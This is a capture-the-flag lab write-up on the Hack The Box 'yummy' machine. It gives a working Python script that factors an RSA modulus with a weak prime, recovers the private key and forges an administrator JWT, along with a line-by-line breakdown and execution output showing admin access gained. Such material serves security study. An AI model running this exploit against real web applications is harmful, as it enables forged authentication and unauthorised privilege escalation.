JWT Forgery
The signature verification mechanism of the JWT in the target web application has been identified to be vulnerable due to one of the generated primes being too weak in the range of to that the modulus can be factored in, allowing attackers to recover the private key
The signature verification mechanism of the JWT in the target web application has been identified as vulnerable due to one of the generated primes being too weak, in the range of to . This allows the modulus to be factored, enabling attackers to recover the private key.
#!/usr/bin/env python3
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
#enter your jwt token here
token = input("Enter Token:")
js = json.loads(base64.b64decode( token.split(".")[1] + "===").decode())
n= int(js["jwk"]['n'])
p,q= list((sympy.factorint(n)).keys())
e=65537
phi_n = (p-1)*(q-1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
data = jwt.decode(token, public_key, algorithms=["RS256"] )
data["role"] = "administrator"
# Create a new token with the new role
new_token = jwt.encode(data, private_key, algorithm="RS256")
print("\nForged JWT: ")
print(new_token)
The Python script above exploits the weak prime generation used in the target web application’s RSA key. By factoring the modulus n
(due to one prime being too small), it computes the private key, modifies the JWT payload (specifically elevating privileges to “administrator”), and re-signs the JWT with the forged private key.
Script Breakdown:
- Importing Required Libraries:
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
The script uses several libraries:
base64
and json
to decode the JWT.
jwt
for handling the JWT operations (decoding and encoding).
sympy
for factoring the RSA modulus.
Crypto
and cryptography
libraries for key handling (creating the RSA private key).
- Input the JWT Token:
token = input("Enter Token:")
The script prompts the user to input the JWT token that will be exploited.
- Decoding the JWT Payload (JWK Part):
js = json.loads(base64.b64decode( token.split(".")[1] + "===").decode())
n= int(js["jwk"]['n'])
- JWTs consist of three parts: Header, Payload, and Signature.
- The
token.split(".")[1]
part extracts the payload (the middle part of the JWT). - The payload is base64-decoded and parsed as a JSON object.
- The script extracts
n
, the modulus of the RSA public key, from thejwk
(JSON Web Key) portion of the JWT.
- Factoring the Modulus (
n
):
p,q= list((sympy.factorint(n)).keys())
- The script uses
sympy.factorint(n)
to factor the modulusn
into its prime factorsp
andq
. - Since
q
is small, factoringn
can be done relatively quickly using this method. - The primes
p
andq
are stored as a list, and they are extracted as the two prime factors.
- Reconstructing the RSA Private Key:
e=65537
phi_n = (p-1)*(q-1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
e
is set to65537
, which is the standard public exponent used in most RSA systems.- The script computes the Euler’s totient function
φ(n) = (p-1)*(q-1)
to prepare for calculating the private exponent. d
is calculated as the modular inverse of e with respect to φ(n), giving the RSA private exponent.- Using the RSA parameters (
n
,e
,d
,p
,q
), the script reconstructs the RSA private key withRSA.construct()
. - The private key is exported as a PEM-encoded byte object using
key.export_key()
.
- Loading the Private Key:
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
The private key is loaded back using the cryptography library’s serialization.load_pem_private_key()
function.
- Verifying and Modifying the JWT Payload:
public_key = private_key.public_key()
data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"
- The script verifies the existing JWT using the recovered public key by decoding it with
jwt.decode()
. - After decoding, the payload (
data
) is modified by changing therole
field to “administrator”, effectively giving the user elevated privileges.
- Re-Signing the JWT with the Forged Private Key:
new_token = jwt.encode(data, private_key, algorithm="RS256")
print(new_token)
- A new JWT is created using
jwt.encode()
, signed with the forged private key. - The modified payload, including the admin role, is included in the new JWT, which is then printed to the console.
Execution
I just need to grab an existing JWT by refreshing the browser to the
/dashboard
endpoint
┌──(kali㉿kali)-[~/archive/htb/labs/yummy]
└─$ python3 jwt_forgery.py
Enter Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAdGVzdCIsInJvbGUiOiJjdXN0b21lcl8zYjE3OGM2NSIsImlhdCI6MTcyODIyODcwNCwiZXhwIjoxNzI4MjMyMzA0LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjY5NTUwNjE2MTc3OTE0OTc3NDAyMDkzNTQ0ODgyMTA4MTkwOTgwMTY3MDk2NzU4MzM5OTQyNDQxMjQxMDYxOTY1NDAyMDUxMzc4MTk2NTIyMjY4MzYwNDE5NTcwNDUxODg0NzE0NjM1NTMzMjY2NzA4MTc2Mzg5NzUxMDY1MDAwNzUyNDA2ODM3MTQzMTQ4OTgzMDk2NTQ5ODg1OTQwOTk2Mzc0NzI1NTQ4MDY0MjcxNjYwNDcxNTY1MjM3MTUxNzk3OTc2MjQ4ODU1MzE4NTU3Njg0OTY3ODE3MTI1MDgxMjA2MzE1MDg1Nzc5MTE0MzAzMjQ1MzAyMjA1ODUyODY0MDE5NjM0MDk1NzIyNjg3NjE2MzIwODIzNTQ3ODk3NTkxODY2NzMwNDE5NzMxNzk0ODIzNTgxNDUzIiwiZSI6NjU1Mzd9fQ.BRItt4-nlsFAettg18pBVsm7Qpbxyhlqw4ETOvNnuxbDEV0Iwt9MRykTnVtBU8CQ-xBrCdJt28pwokWtK1MFWCzgH_AkBXCrPgTjA0Ym9cfX1bU3IAkD2IJ09vXjvQrWLfvRZ687Zx5KMF9etDAWTc9bbJbQFuQfe2em4sRx3z3hX64
Forged JWT:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAdGVzdCIsInJvbGUiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzI4MjI4NzA0LCJleHAiOjE3MjgyMzIzMDQsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiNjk1NTA2MTYxNzc5MTQ5Nzc0MDIwOTM1NDQ4ODIxMDgxOTA5ODAxNjcwOTY3NTgzMzk5NDI0NDEyNDEwNjE5NjU0MDIwNTEzNzgxOTY1MjIyNjgzNjA0MTk1NzA0NTE4ODQ3MTQ2MzU1MzMyNjY3MDgxNzYzODk3NTEwNjUwMDA3NTI0MDY4MzcxNDMxNDg5ODMwOTY1NDk4ODU5NDA5OTYzNzQ3MjU1NDgwNjQyNzE2NjA0NzE1NjUyMzcxNTE3OTc5NzYyNDg4NTUzMTg1NTc2ODQ5Njc4MTcxMjUwODEyMDYzMTUwODU3NzkxMTQzMDMyNDUzMDIyMDU4NTI4NjQwMTk2MzQwOTU3MjI2ODc2MTYzMjA4MjM1NDc4OTc1OTE4NjY3MzA0MTk3MzE3OTQ4MjM1ODE0NTMiLCJlIjo2NTUzN319.ABsx8HuyNI9oKUbXFNENx8GCxXPC-5pugwew0tJf4sbnyeS06DrCqqwUiNjhpDffWKVs6ID-WV45e39pxVjXRzPejFH7AoLUYHKCH5YNFoIWfvudld-AKTeuAQnh3Vj7PZSZAfSQGvwy643gwcPEwoVaSgnzDZIwok9Euuw9bWPBCjU
The exploit script generated a forged JWT
Authentication
Replacing the old JWT with the newly forged JWT, and forwarding
Being redirected to the
/admindashboard
endpoint
Successfully Authenticated with the
administrator
role